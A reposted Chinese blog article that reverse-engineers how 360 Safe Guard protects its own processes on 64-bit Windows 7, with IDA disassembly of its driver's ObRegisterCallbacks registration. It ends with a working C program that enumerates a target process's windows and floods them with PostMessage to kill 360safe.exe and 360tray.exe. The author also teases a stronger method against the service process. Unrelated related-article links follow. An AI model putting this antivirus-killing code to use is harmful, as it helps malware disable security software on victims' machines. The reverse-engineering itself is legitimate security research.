2019独角兽企业重金招聘Python工程师标准>>>

自从改行玩硬件后,就很少关注病毒和反病毒之间的斗争了。某天在中关村论坛听到一
名网友说 360在WIN64 上有了进程自我保护,万分牛逼,连微软的Process Explorer都不
能结束呢!我听后心里十分好奇,于是重操旧业,下载了最新版本的360 安全卫士7.7版本
(2011-5-6),安装在64位 Windows 7虚拟机上来测试。
   首先拿“任务管理器”来测试,果然再次出现了熟悉的“拒绝访问”提示:

然后尝试用用重载NTDLL + ZwGetNextProcess获得句柄,发现NTSTATUS的返回值总是
失败。后来发现OpenProcess可以在低权限下(比如以查询进程信息的权限
PROCESS_QUERY_INFORMATION)打开360 的进程,但是想用DuplicateHandle或者
NtDuplicateObject来获得同一进程的最高权限句柄时就失败了。然后又对线程如法炮制,
依然失败。最后用无句柄杀线程的绝招,连KiInsertQueueApc钩子都抵挡不住的 10 万次
PostThreadMessage,还是失败。初步测试,发现来者不善,决定先用IDA Pro 5.5分析一
下 360的驱动,再想办法。
  首先用 Win64AST(Win64下的系统工具,有查看内核模块,管理进程等功能,

查看 360加载的驱动:

可以发现,360 在Win64 系统上只加载了两个驱动:360FsFlt.sys和一个网络相关的驱
动。其中,360FsFlt.sys从名字上来看是文件系统过滤驱动。经分析,在它的里面有进程
自我保护相关的内容。
   在做理智的分析之前,我们可以先进行猜测,猜测一下360会用什么手段来实现进程自
我保护。第一种方法是Ring 3 的 Inline Hook,虽然安全稳定,但是容易绕过。上次我虽
然有篇文章讲解如何反绕过Ring 3 Inline Hook,但是毕竟判断方法还有一定的瑕疵。所
以我断定,360不会这么做。第二种方法就是废掉Win64的PatchGuard机制,对内核函数
进行 Inline Hook,虽然这种方法最好,但是我肯定360也不会这么做。因为360 是一个商
业软件,这种方法稳定性差不说,而且还会给竞争对手以“破坏系统安全机制”的口实。所
以唯一的可能是第三种方法,既微软官方推荐的方法:用ObRegisterCallbacks注册一个回
调,监控系统中所有的进线程句柄的动态,一旦发现对自己有害的句柄,马上就把句柄关闭
并返回一个错误值。在用IDA 的分析中,果然证实了我的猜测。
  首先把360FsFlt.sys拖入 IDA进行反汇编,然后把点击“Imports”,找到
ObRegisterCallbacks,然后双击ObRegisterCallbacks,进入和IDA VIEW-A界面,然后双
击 SUB_1D938,就进入和反汇编代码的界面。什么?您想按F5查看 C代码?呵呵。真的不
好意思,64位的 IDA 不带把汇编代码变成C代码的插件,只能委屈各位看观看晦涩的64位汇编

代码了。顺便说一句,我觉得IDA对 64位 BIN文件做的反汇编不怎么正确,但是没什
么确实的证据,所以还是不要乱说为好。
大家可以看到,在调用ObRegisterCallbacks之前,还往 rax 寄存器里放了两个大家十
分熟悉的对象类型:PsProcessType和 PsThreadType,因此可以很肯定地说,360 就是用
ObRegisterCallbacks注册了一个回调,用来监视进程类型句柄和线程类型句柄的动态!截
图如下:

完整的反汇编如下:  
;int __fastcall sub_1D938(PDRIVER_OBJECT DriverObject, __int64)
sub_1D938 proc near
arg_0= qword ptr 8
mov [rsp+arg_0], rbx
push rdi
sub rsp, 20h
mov rax, cs:PsProcessType
mov rbx, rcx
lea rdx, qword_ABA20
mov cs:qword_34300, rax
mov rax, cs:PsThreadType
lea rcx, unk_342D8
mov cs:qword_34320, rax
lea rax, qword_34300
mov cs:qword_342F8, rax
call cs:ObRegisterCallbacks
mov rdx, cs:qword_ABA20
xor edi, edi
cmp eax, edi
movzx eax, cs:byte_59E12
cmovl rdx, rdi  
test byte ptr cs:dword_59ED8, 4
lea ecx, [rdi+1]
cmovnz eax, ecx
mov cs:qword_ABA20, rdx
mov cs:byte_59E12, al
mov eax, cs:dword_59ED8


test al, 8
jz short loc_1D9D6
xor edx, edx ; __int64
mov rcx, rbx ; DriverObject
call sub_1E710
cmp eax, edi
mov eax, cs:dword_59ED8
setnl cs:byte_59E13
loc_1D9D6:
test al, 10h
jz short loc_1D9EF
mov rcx, rbx ; DriverObject
call sub_2350C
cmp eax, edi

setnl al
mov cs:byte_59E14, al
jmp short loc_1D9F5
loc_1D9EF:
mov al, cs:byte_59E14
loc_1D9F5:
cmp cs:byte_59E13, dil  
jnz short loc_1DA03
cmp al, dil
jz short loc_1DA3A
loc_1DA03:
lea rax, qword_5A2B8
lea rcx, [rbx+70h]
loc_1DA0E:
cmp [rax-0E8h], rdi
jnz short loc_1DA1C
cmp [rax], rdi
jz short loc_1DA26
loc_1DA1C:
lea rdx, sub_1D888
mov [rcx], rdx
loc_1DA26:
lea rdx, unk_5A390
add rax, 8
add rcx, 8
cmp rax, rdx
jle short loc_1DA0E
loc_1DA3A:
call sub_1D4A0
lea rcx, sub_1D660
xor edx, edx
mov rbx, [rsp+28h+arg_0]
add rsp, 20h
pop rdi
jmp cs:PsSetCreateProcessNotifyRoutine
sub1D938 endp

我还找了找360实现进线程自保护的过程,但是能力有限,只找到一部分实现[进程自
保护]的过程,没有找到实现[线程自保护]的过程。如果读者有兴趣,可以自己找找:
 ; Maybe Protect Process
; int __cdecl sub_18294(HANDLE Handle, char)
sub_18294 proc near
var_58= qword ptr -58h
var_50= byte ptr -50h
var_48= qword ptr -48h
var_38= byte ptr -38h
var_10= qword ptr -10h
Handle= qword ptr 8
arg_8= byte ptr 10h
mov rax, rsp
mov [rax+8], rcx
push rbx
sub rsp, 70h
xor ebx, ebx
mov r10, rdx
mov [rax+8], rbx  
cmp rdx, rbx
jz loc_1834F
mov rax, cs:qword_59F10
cmp rax, rbx
jz short loc_182C8
mov rcx, rdx
call rax ; qword_59F10
jmp loc_18351
loc_182C8:
lea rax, [rsp+78h+Handle]
mov r9d, 80000000h
xor r8d, r8d
mov [rsp+78h+var_48], rax
mov rax, cs:PsProcessType
mov [rsp+78h+var_50], bl
mov rcx, [rax]
mov edx, 200h
mov [rsp+78h+var_58], rcx
mov rcx, r10
call cs:ObOpenObjectByPointer
cmp eax, ebx 
 jl short loc_1834F
mov rcx, [rsp+78h+Handle]
lea rax, [rsp+78h+arg_8]
lea r8, [rsp+78h+var_38]
mov r9d, 30h
xor edx, edx
mov [rsp+78h+var_58], rax
call ZwQueryInformationProcess
mov rcx, [rsp+78h+var_10]
cmp eax, ebx
cmovl rcx, rbx
mov [rsp+78h+var_10], rcx
mov rcx, [rsp+78h+Handle] ; Handle
call cs:ZwClose
mov rax, [rsp+78h+var_10]
jmp short loc_18351
loc_1834F: xor eax, eax
loc_18351:
add rsp, 70h
pop rbx
retn
sub_18294 endp

我觉得此函数的逻辑是这样:传入进程对象指针PEPROCESS (注意:我强烈觉得不是IDA
提示的 HANDLE 类型,而是PEPROCESS 类型。因为对于计算机看来,两者都是指针,没有任
何差别),然后利用ObOpenObjectByPointer获得进程的句柄,利用
ZwQueryInformationProcess获得进程PID,接着对比是否为要保护的进程,然后返回对比
 结果。至于关闭[由别的程序打开的][被保护进程的句柄],返回拒绝访问等操作,并不在这
一过程(这句话很拗口,请多读几次)。至于这个驱动是怎么保护线程的,我有自己的猜想
但并不确定,因为我并没有在反汇编代码中找到ZwQueryInformationThread(但是找到了
IoThreadToProcess)。有俗语云“骗得了别人骗不了自己”,由于没有形成让自己信服的逻
辑,所以不敢信口开河,误导读者。
知道了 360如何自我保护,攻破这套防御体系就简单了:利用窗口攻击即可。因为在
360 的驱动里没有防御窗口攻击的代码。准确地说,是微软没有提供解决窗口攻击官方解决
方案。至于窗口攻击的手段,用EndTask即可(大家可以试试用“任务管理器”的“结束任
务”来结束360safe.exe的主窗口),用SetWindowLong或 SetParent也可以。不过我用的
是EnumWindows + PostMessage的方案。代码很短,只有短短40行,但是对付360safe.exe
和 360tray.exe都可以:  
#include <stdio.h>
#include <Windows.h>
#pragma comment(lib,"user32.lib")
HWND hWnds[8192]={NULL};
DWORD dwCount=0;
UINT EnumWnd(HWND h, LPARAM Param)
{
    if (dwCount>=8192)
        return 0;

hWnds[dwCount] = h;
    dwCount++;
    return 1;
}
VOID KillGuiProcess(DWORD dwProcessId)
{
  DWORD pid=0;
    EnumWindows((WNDENUMPROC)EnumWnd, 0);
    for(UINT i=0;i<dwCount;i++)
    {
        GetWindowThreadProcessId(hWnds[i], &pid);
        if(pid==dwProcessId) 
        {
            for(UINT j=0;j<0x1000;j++)
                PostMessageA(hWnds[i],j,0,0);
        }
    }
}
int main()
{
    DWORD pid=0;
    printf("Input 360 PID: ");
    scanf("%ld",&pid);
    KillGuiProcess(pid); //特别声明:只对360在 Win64的自保护有效!!!
    return 0;

大家还可以看到,我的函数名是KillGuiProcess,也就是说对非GUI 程序无效。经测
试,确实对没有界面的ZhuDongFangYu.exe无效。但是不是说我们就没有办法对付
ZhuDongFangYu.exe了呢?答案是否定的,不过要用点强制手段了。这里先留下个谜团,借
评书人的常用的语句来结束本文:欲知后事如何,请听下回分解。

转载于:https://my.oschina.net/zhuzihasablog/blog/99111

浅析360在系统的进程自保护及突破相关推荐

  1. Linux操作系统基础理论(3)-----浅析Linux 与Minix 下进程实现的异同

    Linux操作系统基础理论(3)-----浅析Linux 与Minix 下进程实现的异同 目录 摘要:... 1 1.     引言... 1 1.1  Minix简介... 1 1.2  Linux ...

  2. 360杀毒属于计算机操作系统吗,360杀毒软件 统一操作系统UOS,保护您的电脑安全...

    原标题:360杀毒软件 & 统一操作系统UOS,保护您的电脑安全 统一操作系统UOS是基于Linux最新内核研发,适用于党.政.军.企.金融.教育.能源.电力.交通等等各类办公和自用的应用场景 ...

  3. 2/3企业遭受ERP数据泄露,服务器系统数据该如何保护?

    随着各类业务系统的普及和应用范围的增广,很多关系到企业生命的机密信息都被存储在服务器系统中,这些机密的安全不容乐观.根据Onapsis的最新研究,在过去两年中,依赖SAP或Oracle的企业用户中有近 ...

  4. hidetoolz源码_开源r0进程隐藏保护工具通过发送窗口消息

    毕竟是不会蓝屏的隐藏进程,也想看看到底是破PG的还是什么更骚的操作. 于是鄙人分析了--"HideToolz" --无奈发现鄙人电脑一直驱动加载失败,正当选择放弃.正当选择打开UC ...

  5. 各位想不想知道,下载360,系统能不能重装?

    系列文章目录 第三章:各位想不想知道,下载360,系统能不能重装? 文章目录 系列文章目录 前言 系统重装 驱动大师             木马防火墙--摄像头防护2.0 总结 前言 >> ...

  6. 如何干掉360杀毒的进程

    近日无事研究怎么干掉360杀毒,呵呵,真的纯粹是为了兴趣 普通的任务管理器里,无法干掉360杀毒的进程,OpenProcess()操作提示 "拒绝访问",看来肯定是用驱动做了保护程 ...

  7. Linux系统编程——进程基础知识

    Linux系统编程--进程基础知识 1.程序和进程 程序,是指编译好的二进制文件,在磁盘上,不占用系统资源(cpu.内存.打开的文件.设备.锁-) 进程,是一个抽象的概念,与操作系统原理联系紧密.进程 ...

  8. Linux系统守护进程详解

    文中有不对或者有不清楚的地方,请大家告诉我,谢谢!   Linux系统守护进程详解 不要关闭下面这几个服务: acpid, haldaemon, messagebus, klogd, network, ...

  9. 使用 shell 脚本对 Linux 系统和进程资源进行监控

    Shell 简介 Shell 语言对于接触 LINUX 的人来说都比较熟悉,它是系统的用户界面,提供了用户与内核进行交互操作的一种接口.它接收用户输入的命令并把它送入内核去执行.实际上 Shell 是 ...

  10. java写类似百度统计_资讯 | 与百度统计功能类似的产品—360分析系统

    原标题:资讯 | 与百度统计功能类似的产品-360分析系统 360自主研发的商业推广投放效果统计分析产品"360分析"近日已全流量上线,该产品为广告主量身定制,可实现对360推广点 ...

最新文章

  1. 优先队列的应用 C++实现
  2. HTMLCSS学习笔记(四)----浮动原理及清浮动
  3. uboot: RTL8201 100M PHY驱动代码
  4. STL set和multiset
  5. Java描述设计模式(05):原型模式
  6. 我的起点(蛇形矩阵)
  7. 【noip2011】【codevs1137】计算系数
  8. 你的脑容量(每日一练)
  9. Android 6.0 Permission权限与安全机制
  10. 谈一谈chrome浏览器使用
  11. 图像处理之全景拼接---基于sift的全景图像拼接
  12. sping jdbc 链接mysql_java项目使用spring jdbc连接数据库
  13. rovio视觉里程计的笔记
  14. 基于伽马变换自适应修正的全景首尾融合算法
  15. BICC协议(简介)
  16. mysql---分表分库
  17. LevelDb(二):LevelDb整体架构
  18. 什么是Restful风格
  19. i++与++i是什么意思?
  20. 儿童智能手表APP开发具备哪些功能

热门文章

  1. 2.1HTML网页之table标签B
  2. Linux系统学习环境搭建 - 跟小智一起学网络(3)
  3. 【图文并茂】一文讲透Dubbo负载均衡之最小活跃数算法
  4. 微信网页扫码登录的实现
  5. Flutter水波纹效果
  6. Kademlia详解 (转贴NeoRagex2002)
  7. 如果写不出好的BUG就该在洒满阳光的屋里躺在床上边刷哔哩哔哩边吃旺仔QQ糖
  8. pdo_mysql扩展库_MySQL数据库之PDO扩展
  9. HDLC协议C语言,符合中国移动标准协议转换器中HDLC协议FPGA设计与实现.doc
  10. pythonsin怎么表示_Python numpy.sin()用法及代码示例